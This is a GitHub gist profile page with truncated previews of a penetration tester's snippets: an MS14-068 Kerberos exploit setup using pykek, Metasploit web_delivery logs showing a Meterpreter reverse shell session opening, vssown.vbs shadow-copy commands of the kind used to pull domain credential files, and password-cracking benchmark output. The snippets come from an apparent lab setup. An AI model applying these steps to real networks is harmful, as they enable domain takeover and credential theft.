Skip to content

Instantly share code, notes, and snippets.

View jstnkndy's full-sized avatar

Justin Kennedy jstnkndy

View GitHub Profile
#!/usr/bin/python
import sys, requests
def usage():
print 'Usage: python %s ' % sys.argv[0]
def main():
if len(sys.argv) != 5:
@jstnkndy
jstnkndy / gist:a2f5326a0e5d4cb412a5
Created December 6, 2014 00:05
MS14-068 in action
git clone https://github.com/bidord/pykek
echo 127.0.0.1 msfdc01.metasploitable.local >> /etc/hosts
[*] [2014.12.05-23:43:51] 172.16.80.100 web_delivery - Delivering Payload
[*] [2014.12.05-23:43:53] Sending stage (770048 bytes) to 172.16.80.100
[*] Meterpreter session 12 opened (172.16.80.225:4444 -> 172.16.80.100:57204) at 2014-12-05 23:44:12 +0000
20141205-23:44 - 192.168.153.129 exploit(payload_inject) > sessions -i 12
[*] Starting interaction with 12...
# Start the Volume Shadow Service
C:\bak>cscript vssown.vbs /start
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.
[*] Signal sent to start the VSS service.
# Create a Volument Shadow Copy, C is the drive where the files reside, this may not always be C
@jstnkndy
jstnkndy / gist:bd87b21be454084f67d7
Created May 20, 2014 21:53
JTR Benchmark - tank
./john --test
Will run 32 OpenMP threads
Benchmarking: descrypt, traditional crypt(3) [DES 128/128 AVX-16]... (32xOMP) DONE
Many salts: 73400K c/s real, 2290K c/s virtual
Only one salt: 38535K c/s real, 1202K c/s virtual
Benchmarking: bsdicrypt, BSDI crypt(3) ("_J9..", 725 iterations) [DES 128/128 AVX-16]... (32xOMP) DONE
Many salts: 2441K c/s real, 76407 c/s virtual
Only one salt: 1466K c/s real, 45867 c/s virtual
Hash.Type......: MD5
Speed.GPU.#1...: 6207.8M/s
Speed.GPU.#2...: 6224.3M/s
Speed.GPU.#3...: 6222.7M/s
Speed.GPU.#4...: 6222.8M/s
Speed.GPU.#5...: 6207.4M/s
Speed.GPU.#6...: 6221.6M/s
Speed.GPU.#7...: 6207.2M/s
Speed.GPU.#*...: 43513.8M/s